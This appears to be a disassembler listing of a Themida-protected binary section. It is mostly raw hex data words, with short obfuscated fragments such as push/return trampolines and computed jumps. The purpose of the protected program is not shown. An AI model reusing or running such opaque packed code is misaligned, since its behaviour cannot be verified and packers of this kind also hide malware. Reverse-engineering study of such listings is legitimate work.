dd 0EA010000h, 0FF5A0A89h, 835D2434h, 34FF04C4h, 0C4815924h dd 4, 0F91A15E9h, 0B843A8FFh, 6AF6347h, 0E0FFC503h, 5BF33078h dd 1CA07EDFh, 38333244h, 79B558DDh, 2A22E353h, 51F36331h dd 23E7A56h, 5BF3B3C8h, 24B5A637h, 106E3947h, 43FDF856h dd 15656D16h, 227A13A8h, 6322FACBh, 2F306BCh, 217112FFh dd 52BE3AECh, 740CE19Ch, 6860F77Ah, 4B431077h, 7CFDD0EEh dd 31E480C3h, 46B65C7h, 2D752E00h, 5C54FAC3h, 0F169331h dd 7F7A0A26h, 7AADB05Bh, 5E491D77h, 3E4AD7E9h, 0BF0ADF9h dd 3AAB55D1h, 0A2E9h, 0EDA4C300h, 1C59F659h, 4A03258Eh dd 7A3F53FCh, 0AFE2832Ch, 35DD9C1Bh, 62CD5914h, 96398DC0h dd 0C86BBFF6h, 0CE5EECA5h, 3AAEEA1Ch, 5694B607h, 0EDA4C728h dd 53FF604Bh, 0D8B1FC9Eh, 57FBA45Bh, 31729412h, 37AF57D7h dd 0D73B7F89h, 0CF09AF57h, 5C583A1Ah, 9602FB16h, 9A4E5450h dd 8ACE16AFh, 6A8CAFDCh, 19B01E6Dh, 3, 0FFCBB03Ch, 138C1158h dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 0AF643C68h, 18E8E906h dd 0C122FFF9h, 0EB9FF0BEh, 16h, 4 dup(0) dd 24010100h, 0AF000004h, 0F5958B06h, 6606A808h, 905EBABBh dd 0D4AABA60h, 6651514Dh, 5F27AFBAh, 0FBB15061h, 0DBD8B90h dd 6A06A80Fh, 6840F00h, 81000000h, 88445ECFh, 6A006A3Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0EEABC356h, 19ED44EFh, 892F3DC6h, 0A80B11B5h dd 99BD2B06h, 8D06A831h, 0AF661C85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 903211B2h dd 0CE9h, 0C6B49F00h, 0F50AA1E2h, 88CEDF62h, 6A9050E4h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 5FAB9520h, 0D2B7C6C3h, 635952Bh, 6A06A8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E5C35040h dd 4195FFF8h, 8106A825h, 8426A3CAh, 19953141h, 0E906A80Fh dd 5ABh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 6AC35141h, 2B294C00h dword_5C0024 dd 0A8336195h, 0E806h, 815D0000h, 0AF6621EDh, 50006A06h ; DATA XREF: ___:004327ECo dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0A9BD89ACh, 8B06A82Ch, 0A829BD95h dword_5C005C dd 0E1B58906h, 0E806A814h, 4, 0FA0h, 0F850Fh, 52500000h ; DATA XREF: ___:off_432940o dd 800Fh, 310F0000h, 5AFB8B66h, 448B5058h, 0A7B10424h dd 0BF66008Bh, 44891640h, 5E90424h, 0D000000h, 0F3771587h dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0B99D8B6Eh, 0FF06A814h, 0A81B3195h, 0BE666006h dd 840FAA0Dh, 6, 62D9D8Bh, 8D6106A8h, 0AF64E0B5h, 29BD8906h dd 0C706A80Fh, 67655206h, 51006A6Dh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 47EC78FCh dd 0B3A19DF5h, 158D8957h, 5B06A801h, 0B880Fh, 6E90000h dd 0D3000000h, 4CE4FA6Ah, 446C7CDh, 6C636E6Fh, 846C7F8h dd 737361h, 6A5BF280h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0B8783869h, 69958B53h dd 8D06A82Ch, 0AF64E085h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0AAC7BDE4h dd 67F82BBEh, 0DE85660h, 0FB000000h, 831238B3h, 0B95B6032h dd 571E30AAh, 0E8B55A5Ah, 6CB65061h, 0F240489h, 0C89h dd 6860F00h, 8B000000h, 0A80B298Dh, 2595FF06h, 6A06A831h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0D4D2C357h, 0EFBBCA5Eh, 663CBF0Dh, 6DBBE981h dd 840FC00Bh, 55h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0B2C35040h, 0A76CC2FFh, 810F33EEh, 6 dd 0D15958Bh, 21E906A8h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B28C351h dd 0A81B5195h, 0C06B6806h, 12E96EE4h, 4E000000h, 5A9A24Fh dd 85C631E3h, 0F9C441BBh, 0BA397A66h, 24348179h, 6EE4C147h dd 9B30EA81h, 356660Dh, 0A830959Dh, 95FF5906h, 6A81B31h dd 27FD8589h, 0B58D06A8h, 6AF64E0h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 4FC35646h, 4B9B533Fh, 0A21FEC90h dd 0DD9D89D9h, 0C706A824h, 34383106h, 4BEFBA36h, 46C76C72h dd 342D3704h, 0CAEF8131h, 0C745BC65h, 846h, 9FB30000h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 119474C3h, 8BCDF0DCh, 0A8066D8Dh, 39958B06h dd 8D06A833h, 0AF64E085h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 4841D7B0h dd 0BF0F24E9h, 48950D9h, 0E59D8924h, 0FF06A805h, 0A8312595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D11621D8h, 32374D21h, 0B3EB56Ch, 2E840FC0h dd 81000000h, 0BA2D4D3h, 1CEE908h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2972B9C3h dd 0A80E8DBDh, 0BC486806h, 0FA8BDCC4h, 0E4240481h, 0E9233B44h dd 14h, 5A966AF7h, 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h dd 1B3195FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 4C50E3C3h, 0FDF30719h, 29F18D8Bh dd 8D0306A8h, 6A82B39h, 64E0B58Dh, 80F506AFh, 6C7EAE3h dd 656C6946h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0EAC35545h, 0D5CA83AAh, 51331836h, 0A850Fh, 89600000h dd 0A8261DBDh, 615A5306h, 6D0446C7h, 6A636E6Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 497BC356h, 0BF840847h, 9D09524Ch, 6A814A9h, 846C75Fh dd 7373616Ch, 2975BD23h, 46C706A8h, 0Ch, 6840F00h, 31000000h dd 0A820619Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 3082C350h, 0E0858DA6h dd 6A06AF64h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 16D1C351h, 0CE5C9941h, 50D88B66h dd 28C0Fh, 0F98B0000h, 8B240489h, 0A822598Dh, 2595FF06h dd 6A06A831h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0A0BEC352h, 9CB9959Eh, 6E8D171h dd 20000000h, 917A8E49h, 71BD2BF4h, 5A06A80Fh, 840FC00Bh dd 0Eh, 918D2BFCh, 0E906A822h, 10h, 0EEE9FB8Bh, 0FFFFFFAh dd 389h, 0D08B6600h, 7120B58Dh, 6A06A8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 689D92C3h dd 0EC6290A1h, 8A1DE411h, 89BD8BF0h, 0B806A831h, 0 ; --------------------------------------------------------------------------- or ebx, [ebp+6A81B61h] jmp esi ; --------------------------------------------------------------------------- push 0 push ecx call sub_5C058F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C058F proc near ; CODE XREF: Themida_:005C0587p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5C058F endp ; --------------------------------------------------------------------------- push 38h retn ; --------------------------------------------------------------------------- test eax, 7E9h add [ebx-3942A23Fh], dh sbb ecx, ebp mov eax, ecx jmp loc_5C05C1 ; --------------------------------------------------------------------------- dw 4554h dd 6CBCh, 0 db 0 ; --------------------------------------------------------------------------- loc_5C05C1: ; CODE XREF: Themida_:005C05B1j jmp loc_5C133D ; --------------------------------------------------------------------------- push 6AF6E2Ch jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF6F0Fh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF6FBCh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF705Bh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF736Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF76ADh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF77B2h jmp loc_5517CE ; --------------------------------------------------------------------------- dd 8A105900h, 0C5410429h, 33773E5Ah, 63A7E290h, 54D29FC0h dd 0C768AACFh, 0F3933C8Ah, 0A5C768BEh, 56F55EECh, 0C9138B1Fh dd 7427BBFh, 240349B6h, 8CF25EFFh, 5BBDCA23h, 5C47635Ch dd 0FD2E7336h, 0D812C8BBh, 5412F264h, 0EAB5E3C4h, 95E7034Ah dd 1C400E12h, 2A6B5A15h, 113CF00Ah, 54F75DDBh, 1DAF5BE0h dd 0B6000386h, 0CC37D37Ch, 83C5E1A8h, 0B6000387h, 0E546D27Dh dd 71A9D379h, 32B60003h, 0D9D25F16h, 9EBD2E09h, 0C7514AD7h dd 30501h, 31BBA1B6h, 4BEA00D3h, 145EC802h, 159AD375h dd 168D2B04h, 7FA5C38Dh, 0FFD8CDCDh, 729CB7B5h, 0B5FFD936h dd 0C68BAB0Ch, 0F3EF4BEDh, 321477D0h, 0F28284B8h, 0B1686EEAh dd 589DA1B2h, 27D5433Ch, 2Fh, 0EB5E7F8h, 0D7C7AED8h, 1ABDB5FFh dd 0D65B3479h, 0FFD81014h, 0BCF593B5h, 0C78EAE77h, 0A102FB5Ah dd 7C258E12h, 77D7827Eh, 116514h, 0BABE0000h, 0D6AEEA1Ch dd 0BB94AF57h, 873927Dh, 0FFB50000h, 1788155Ch, 0DC99B574h dd 0D96D4657h, 5175CE6Eh, 3B4DCD6Eh, 0AF57D6FFh, 2C716AC5h dd 0A59ED373h, 0D6C3C701h, 9681AF57h, 3FAED802h, 5B5FFF6h dd 7313FC2Ah, 70B8F13Eh, 0F64B4B93h, 8C67B5FFh, 0CD3B1723h dd 4AC21477h, 65000000h, 0F93459BAh, 0F439125Bh, 2B275A3h dd 81A20DB9h, 44866CCCh, 0B6000529h, 7312FD1Bh, 1AA4F53Ah dd 0B600051Eh, 0E9A0C3E4h, 817A5344h, 1E041365h, 10828172h dd 0E3232B98h, 0FFB6006Ah, 938F8B14h, 7A147742h, 0BEh dd 155CFFCDh, 3B761788h, 0B8C268F6h, 0AF57D780h, 2CBD2E4Ah dd 9B6B9ECCh, 622F4FB0h, 83CA6936h, 0AFE6851Eh, 5385E11Bh dd 7F1EAF58h, 0C00AF036h, 2E43BC13h, 0C46BCD50h, 743D60A1h dd 423B7E13h, 53163BA4h, 77A566C5h, 5DEC1ECCh, 27B600A4h dd 0CEB190EDh, 1BAD84D1h, 0B600691Fh, 78514AE5h, 803B9922h dd 0A90205Ah, 6D56BCABh, 0E81682CBh, 17389B4Fh, 0C263CC5Ah dd 0FAFE598Fh, 2380EC80h, 0A53A2h, 0FDB4D300h, 2C6906A9h dd 5A13359Eh, 8ACF63CCh, 0BFF2933Ch, 45CDEC6Bh, 72DD6924h dd 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 459E9A2Ch, 2664B607h dd 135EFFF9h, 40092C97h, 0B5E7DDFAh, 4FAED80Eh, 35B60005h dd 0BBFF692h, 4B9F1h, 0B7A08BB6h, 4A4E06Ah, 6BC0B600h dd 0F8DCC8CAh, 0BA3B1477h, 0CD000000h, 0AB084DE2h, 387D1172h dd 30BAABF0h, 0BC850DD5h, 52DD5B7Bh, 0F91D9B33h, 0CD818D5Dh dd 5D955706h, 1F08F769h, 3D701192h, 0FB0E76F0h, 0F695AF57h dd 0D05D1437h, 0A19923C7h, 63AF57FBh, 0E84BDFC8h, 0E6A70C45h dd 0AFD90DB6h, 0B600031Ch, 0E8A5C5E6h, 169BD677h, 709E2C05h dd 7DA2EF8Fh, 993B8C2Ch, 0DD428422h, 0A7BCAAA1h, 322B6E04h dd 470A2B94h, 723F60C3h, 8162EB56h, 7DC6E5ECh, 970h, 0BA0049F0h dd 0F5317419h, 23672E4Ah, 1397D280h, 44C28FB0h, 3758BAFFh dd 0E3832C7Ah, 95B718AEh, 46E54EDCh, 3923BB0Fh, 7468B8Fh dd 143379B6h, 97135EFFh, 0FA40092Ch, 6B30BADDh, 581BEB90h dd 92B17EBAh, 0AECD56DBh, 2380C96Fh, 0B5F8990Ah, 0C0463F68h dd 0EE4ECFA1h, 0E417B155h, 0DEB600AAh, 90F51375h, 0B5FC5DBh dd 52F412A9h, 666DEAE7h, 312D72DDh, 71BC01A7h, 7DBBFD1Ch dd 18390AAAh, 3C4E7C55h, 6D195969h, 0ACCAF05Bh, 19591E1Ah dd 0A5C3E46Dh, 7D5647ECh, 0AFCE313Bh, 5CFFA0E6h, 0AB88F315h dd 2D8E3C12h, 8C354h, 6D244300h, 9CD976D9h, 0CA83A50Eh dd 0FABFD37Ch, 2F6203ACh, 0B55D1C9Bh, 0E24DD994h, 16B90D40h dd 48EB3F76h, 4EDE6C25h, 462E6A9Ch, 0D614B607h, 155CFF69h dd 16AD0F88h, 0C8694AF0h, 37206D0Dh, 0CECA7CEAh, 0B4AF57D6h dd 0F076A29Bh, 0B600038Dh, 7F325477h, 0EA88F932h, 0AF10B6AFh dd 0DD46C48Dh, 0BDA9F6BFh, 6C8DEE3Bh, 0B931A7A2h, 494DA70Dh dd 8640E84Fh, 0B6009E82h, 0AE3C78h, 0ABDD7FB6h, 0AE1911h dd 5740EBB6h, 0DFE209B3h, 77A0BCA8h, 93DA792Ah, 83250075h dd 309112ECh, 824h, 7ECC85A4h, 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h dd 388EC364h, 7314FEB3h, 2747E83Eh, 0D173DC6Ah, 82A10298h dd 7DEF7FCBh, 746CFCBh, 0C877B5B6h, 0D80EB5E7h, 901851F7h dd 8C9304Ah, 90BBB600h, 0B8FD9213h, 761B8462h, 49D69BBBh dd 8C6F6750h, 0CB14CAF9h, 85AA75A3h, 7BDA63C0h, 56FC1AC0h dd 21F434h, 7DB9C6B6h, 916402B9h, 0B4B2E651h, 0B60089ACh dd 0A609BD96h, 0FA69CF86h, 0CED55E77h, 4D1A05A1h, 0A7B91858h dd 868E78CEh, 5B60034h, 4DFF2B96h, 0B6003471h, 0A5EC8C77h dd 47892F78h, 58F55EECh, 4656901Dh, 3B60035h, 6D0209AAh dd 1C319228h, 0B4F9BCD1h, 39258A63h, 0B6F1C8BFh, 92060977h dd 0FFE4A054h, 0AF705DB5h, 78CE8BA8h, 31D56CCFh, 24FC36A7h dd 90185379h, 99F5304Ah, 64CFB600h, 0FE603F3Fh, 977C2A61h dd 0F5100C0Eh, 76F769D5h, 48000001h, 0D80EB5E7h, 7E3751B2h dd 0B6B0F831h, 0B6000273h, 7DBDCF75h, 47B60002h, 0A9824CECh dd 0BAF3927Dh, 0E9A0C36Ch, 0FCB1D23Dh, 513266B7h, 46ADEF89h dd 8C15863Dh, 1BAFE685h, 57DC95B8h, 4EDC67D6h, 0DE0C49E5h dd 9B1855F5h, 0ECB51682h, 19BA0049h, 0D69BBB7Ah, 49AAB0FDh dd 0EE3F6429h, 644ABC4Ah, 0F26BAFD1h, 87C16F31h, 0AFD16483h dd 0DD42D641h, 10B3F7BEh, 5B5FE96Dh, 29AFD164h, 5288150Eh dd 64969234h, 0C36CAFD1h, 0D863D255h, 64A09822h, 0C962AFD1h dd 0DF69977Dh, 0AFD163DBh, 286506A9h, 1536F93Fh, 0E352DB58h dd 9B04A258h, 0E167B1F8h, 0AFD163ADh, 0C56EBC97h, 0E142EFA6h dd 0FFA00D40h, 158E135Eh, 39F53A73h, 7A1A2182h, 1EB75A33h dd 0C581CB95h, 47BBB5F9h, 15C565BBh, 312A648Bh, 0BEE3AED0h dd 0C164CB6Dh, 0E8185288h, 28189652h, 6D2846A7h, 0FB41D7C0h dd 4E7C3558h, 2C8CC965h, 0E45FFEBFh, 0C58C84C6h, 7152AFD1h dd 0F11F99DCh, 3C5FC046h, 0D5772875h, 0E18E179Ch, 86A67FA4h dd 76DF62CFh, 73A82EADh, 0C188ABB2h, 0F2BBDA45h, 0F249ECADh dd 0C600AED4h, 0AFD1C4C2h, 0A50A43E1h, 2DD97274h, 0D1C59F9Bh dd 6ECA65AFh, 0D1C5AC98h, 69BD96AFh, 42EFA6C6h, 3BEF5AF9h dd 0B6FBB6D8h, 9F293365h, 0AFD1C6ABh, 0D58A3BBDh, 0A81909C8h dd 0D155FE00h, 155CFFEAh, 3D863691h, 0CD194F89h, 0BDA11E59h dd 0A457F17Bh, 0BAB60053h, 53AEEA1Ch, 0BB94B600h, 3E632A4Ah dd 0AA854BEDh, 0C584D67Ch, 0F0B9DC60h, 858C6EE6h, 1607ACE9h dd 3B7F893Dh, 9B60061h, 7258A2Eh, 3557F84Eh, 0C676377Ch dd 0D03F497Dh, 96BCA88Dh, 0D845002Dh, 7F682147h, 92B41739h dd 357A3757h, 0F4120BE4h, 0EA976C62h, 4C868AF7h, 0D17EEA00h dd 5BC8601Ah, 0A8E39393h, 1FA408BCh, 152A51EBh, 0D33CC351h dd 93BDFBBEh, 0A2E402B8h, 0C3511566h, 0C6A5F35Ch, 51773E5Dh dd 0E5DAEFCEh, 1162E3C0h, 91000005h, 0C86BBFF6h, 0F758EEABh dd 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh, 5B16389Bh dd 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60749E0h, 0E7BF64A2h dd 0B2D80EB5h, 0D6B6F214h, 0A38CAF57h, 57D71F1Bh, 0EE4AE5AFh dd 16B0DE04h, 0AF57D712h, 47E647F0h, 2088A10Eh, 0A7B26h dd 992349B6h, 0B6000AA1h, 2BDFC863h, 46EBA6C8h, 0A572B5B4h dd 110A776Bh, 0E3222487h, 0FFB60075h, 938F8B14h, 7A14774Dh dd 0ABh, 0D78EA6CDh, 449DAF57h, 3D89C063h dd 7416298Ah, 0CAA3F439h, 3A9EB31Ch, 103CED3Eh, 69B6AF67h dd 0E6A3CF30h, 221EA8B2h, 0E0AF5886h, 1A39EA37h, 0AEF3B6DBh dd 7D66847Dh, 307D1DD0h, 5CC1BAF3h, 0A467ED4Bh, 0F412C873h dd 0A2E6204Eh, 60AF5886h, 860B0FB7h, 5EF9AF58h, 86140CDAh dd 45EEAF58h, 6D2447D8h, 739533D9h, 0AF588637h, 31F6220Dh dd 47812580h, 0AF58865Fh, 0F3DC0A25h, 8CAE1F52h, 72F457C1h dd 0AF58C632h, 531D862Fh, 38F53A19h, 7ABE771Fh, 15B10CADh dd 55C38AAAh, 76597D8Fh, 2BAF58h, 0E739BAh, 0E71C0000h dd 81B9C3B5h, 43AF57D7h, 81CBFFE8h, 0A51EC160h, 7EE43449h dd 0D59DCCh, 67CC67B6h, 3B7618FBh, 0DADE68F6h, 0A8B600D4h dd 9D02968Fh, 5A1738FDh, 2E622561h, 0C16E5175h, 404A1265h dd 0FDD60747h, 1717B1BBh, 0EDB5FFE6h, 181DDD42h, 8BB5FFE6h dd 0A57EA3E6h, 0A965CA83h, 0FE22B172h, 928E8C15h, 751477DDh dd 7Dh, 0AA9E7CEh, 0D551F3DCh, 57D777B3h, 9E24DAFh, 70345AFh dd 0FDAF57D7h, 3254CD52h, 8BCD2B7Fh, 99347146h, 0C58CB069h dd 0C2564F58h, 3AA5CB45h, 0DBCC5114h, 5883F733h, 8962CDAFh dd 9595375Dh, 6FAF5884h, 608E54C4h, 0DAF4D16h, 54C41335h dd 57DAE292h, 2A77A0AFh, 581AE420h, 3345E1AFh, 81093149h dd 2398106Ah, 762D6382h, 833E3650h, 0BF20AF58h, 514AD792h dd 881E39C7h, 155CFFA3h, 92345288h, 0AF57D796h, 0CA55C36Ch dd 0E3A4E2ABh, 0AADC0AB1h, 0B5FFF643h, 41891601h, 0B5FFF645h dd 2F74315Eh, 2A9BD276h, 1BDE430Ah, 1DAFF1B2h, 0B5FFF61Dh dd 0CD534CE7h, 0C78AAC17h, 3939FA51h, 1477CD4Dh, 20A8h dd 0B5E77300h, 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h dd 211D1D86h, 0C41477F8h, 112h, 3F59BA5Fh, 0DE7D2276h dd 0F3DC0A97h, 98911E53h, 0E0480127h, 0B7531E3Fh, 0C860294Ch dd 3248F5Bh, 60C8E14Eh, 48D59CBFh, 0D6FA5892h, 0AD590E78h dd 0C881A40Bh, 0B2B9472h, 68C0D946h, 5899769Eh, 470E2DAFh dd 743D60C3h, 6F95332Fh, 5898DDDDh, 428CA7AFh, 0AF589946h dd 285133Ch, 2C80A192h, 0E496B6E8h, 159A732Bh, 4DFF2B04h dd 0B600D21Eh, 4CFF4BE4h, 9B753E8h, 0D1BBFFh, 0AAE89B6h dd 7471A6E0h, 0F853BCABh, 9E52A4C2h, 9694DCCBh, 92AF523h dd 0CE78A644h, 0BCAB56CAh, 0B3199FB8h, 9D9D2F55h, 67BCAB57h dd 71385BCCh, 0F2BDFB2Ch, 5DEC1C51h, 0A7EC80ADh, 1D2BB04h dd 37520000h, 0EA87287Eh, 90B81BAFh, 4CE24DD9h, 7112BD09h dd 5061EE3Ch, 5EECA1C2h, 821855F5h, 0FC4A0321h, 2D793053h dd 2119A3B9h, 0E3B6074Dh, 5EFF7EA5h, 0C3699713h, 0D7C4A789h dd 2FD7B448h, 0AF5838EBh, 753A7ED9h, 0CD6B9FD6h, 58397FBBh dd 4EEA45AFh, 0B5E7DFC4h, 4FAED80Eh, 11B60005h, 55951EBh dd 2BB600h, 568A0DAh, 0F15AB600h, 71BE99A7h, 0FD3D4FF5h dd 0C7B60004h, 140D44E4h, 5424284h, 0F55EB600h, 0F8322E2Ch dd 0BCD51477h, 6E000000h, 88155CFFh, 90B37617h, 0BB43E0D9h dd 0AF57DC5Bh, 93D5CB0Dh, 25CE9685h, 0A1092CF3h, 0E62EDA30h dd 701475B3h, 59FA4039h, 6D2E733Ah, 345674CFh, 0B60049C5h dd 0B51694BFh, 0E00EBC07h, 891653FFh, 7ACE1890h, 6CBCAAE8h dd 0E841B4C6h, 3101A231h, 0AAEC9189h, 235073BCh, 0F7E03966h dd 16B49FA1h, 45C18CADh, 0D4F4B9DAh, 0EC81193Fh, 0CDF15251h dd 4D000000h, 7C27632Ah, 0AB1492D7h, 0DD46C48Dh, 0DB6F4B1h dd 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh, 3D7418BBh, 6E2746E9h dd 6C9E4CD8h, 0B6074E2Ch, 0FF6BD016h, 8D42F25Eh, 1D317E30h dd 1E3DE624h, 0BC28609Ah, 311AAF58h, 0FFE5C258h, 1788155Ch dd 26893D74h, 1AE04805h, 12C873A1h, 4A8062F4h, 20BC91FEh dd 9CDF7E88h, 8AA5B607h, 90D97C25h, 0C38AA90Ah, 0D9C99C5Eh dd 73E8201Ah, 640EEB2h, 201ADA02h, 5EC157C0h, 8F30763Fh dd 0A778A5ECh, 0B718CE8Bh, 0B0E8129Ah, 92201AD9h, 0AB63C0B9h dd 59BB4CBBh, 0A90FF822h, 159E373Ah, 80266F0Eh, 0CAE8205Ah dd 71DA201Bh, 53F25D27h, 6003EC1Ah, 0C61C8F29h, 0A2F6BFDDh dd 3DDh, 0CBB0F800h, 8C1158FFh, 0F4397013h, 0E340092Bh dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h dd 4AD792BFh, 0E28952FAh, 4C281h, 0EA830000h, 24148704h dd 5024248Bh, 405E089h, 83000000h, 48704E8h, 2C895C24h dd 8C26824h, 34890000h, 7ABF5724h, 684DE916h, 0B8C65585h dd 5FFD015Dh, 24348B54h, 4C481h, 53550000h, 0D91BD4BBh dd 245C290Fh, 468F5B04h, 8468108h, 0FD91BD4h, 5E2434FFh dd 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4 dd 5C243C87h, 0F9049DE9h, 310587FFh, 0FC81C8F0h, 8FA8654h ; --------------------------------------------------------------------------- inc ecx loc_5C133D: ; CODE XREF: Themida_:loc_5C05C1j mov eax, 6AF78A4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 21ACh dd 9D20203Bh, 0B32A3228h, 45326C54h, 2EA16FD4h, 463A22D8h dd 4A34955h, 0A5E7623Ch, 0BA343FB1h, 0A5F39E9h, 24D25457h dd 8E8474Ch, 83000000h, 0A7559CBDh, 66B97EE1h, 815ED18Bh dd 64F1C6h, 2850F00h, 8B000000h, 1914B9FAh, 820F0000h dd 0Ah, 815E5160h, 1F00E5DAh, 36FF6172h, 28D0F5Bh, 8A000000h dd 0D4EB81C1h, 660E51EFh, 817567BAh, 0BA87B2EBh, 0E9F38152h dd 0E97926E6h, 5, 270F81CDh, 8E0F53AAh, 3, 8FC28B66h, 13E906h dd 3ACB0000h, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h dd 2EE83E2h, 3840F60h, 0F000000h, 0BE66C0B7h, 4E614AA9h dd 0BA66504Eh, 815F6EA4h, 1E9h, 8B850F00h, 0FCFFFFFFh dd 34E9h, 0FDB27E00h, 23h, 0Bh dup(0) dd 560E900h, 97B20000h, 4AE748DEh, 7018BB0Fh, 2C42ED39h dd 0D172DD69h, 0F0810E9Ch, 0FE4C0122h, 22783555h, 1CAAE381h dd 4DD990B3h, 0C1F903D9h, 83B60750h, 91B41F45h, 0BA4B50D8h dd 2F743959h, 56F5BAFEh, 6B08EB1Fh, 0A8812Eh, 2C6102A3h dd 5F16359Eh, 7B3251D2h, 0A4C72836h, 0C15740EDh, 56FC315Eh dd 2C9D8E13h, 0CAE34009h, 74E14CD1h, 0C881A4ABh, 0FAB3D172h dd 0ED45E3CCh, 0A75B351Bh, 0DB5D364Dh, 5288B71h, 55B6E74Ch dd 0E23B7835h, 8A4BE9B6h, 0F903A7EEh, 0AF589FC1h, 72BFA883h dd 23660BF4h, 0CD082AF5h, 0DD09E2ABh, 0A15FB19Bh, 0BBFD685Eh dd 3AC09C8h, 0B1E913B9h, 93AF5884h, 8DAF70B8h, 0BEDD46C4h dd 65A0AAF7h, 0D7AF5885h, 65204EB1h, 0D249EF38h, 78554151h dd 65B012DFh, 8B000000h, 0F09D5CFFh, 463F68B5h, 703556A0h dd 14AD8525h, 9D3B2784h, 58402F6Bh, 0FE3A15AFh, 58402E68h dd 961F9CAFh, 0DFBFA884h, 0D77C6712h, 9C1C0D92h, 17Eh dd 52FFC100h, 74198A17h, 52A9531h, 6ECAE340h, 4B0E24FDh dd 159E0FE6h, 0E624610Eh, 0D3571E3Dh, 3D7D8F35h, 7AF57D7h dd 65CA8FA4h, 0D6DD5B34h, 0F7135EFFh, 0D6FB3F49h, 6EC9AF57h dd 0EBE76B94h, 0C25617C7h, 0D693C061h, 0C46DC649h, 55D19CBDh dd 9D024BEAh, 802D6404h, 0E8EA4B20h, 12DF2B0Ch, 0D59CC023h dd 43B143h, 0FF8A0000h, 158E135Eh, 1EF53A73h, 5CFD04ADh dd 92A9511h, 2846DF44h, 100944E5h, 0DD462D93h, 0DFD411DDh dd 803412h, 0FF0F0000h, 158E135Eh, 0DFF13E77h, 0DB014BD4h dd 57D769A1h, 0B8F05BAFh, 8F1B56F7h, 1752FFA0h, 94365C8Ah dd 0AF57D794h, 8320690Fh, 0B9FF58AAh, 57D768AFh, 571A3BAFh dd 743959CAh, 98D5762Fh, 0D6FF021Bh, 56B4CE4Dh, 0D79A9E28h dd 4768AF57h, 24746D24h, 509AE64Fh, 0D16BE817h, 0AF5804D9h dd 0AF7680ABh, 0B6B44EA0h, 7B94A450h, 3521F523h, 0F812DF4Dh dd 1302637Eh, 5FD9603Ah, 1BDh, 59FF8600h, 6B09EA10h, 0B14DFD22h dd 4C84A14Ah, 0DFE3A13h, 64FEED1h, 205A8099h, 0AF58A0E8h dd 782771DAh, 0D0179CD5h, 15333AFBh, 0BF20CE5Ch, 0CF58D099h dd 9630D66Dh, 0B600AE33h, 0E3AACA35h, 2AFE682h, 0D6418F29h dd 0FCB5D849h, 2F6605AEh, 0AE3E7882h, 508AB600h, 3ADC3C06h dd 50D8ED39h, 0E4763AFBh, 2D961BE8h, 3D5BCCF7h, 0D87B2474h dd 8BAA1591h, 0A1C45DC2h, 6FC44BE8h, 0D59CBFC6h, 2048AB51h dd 7F6BCF69h, 0B61477C9h, 1FA9214Dh, 0B600021Bh, 0C3554EE9h dd 10E31h, 0B5E70A00h, 23AED80Eh, 0E1B60007h, 0D06A9036h dd 0B60006D8h, 206509AAh, 0A102E137h, 0D47FCB82h, 0EABBF8B1h dd 1A9D024Bh, 4AE9F0B1h, 76598703h, 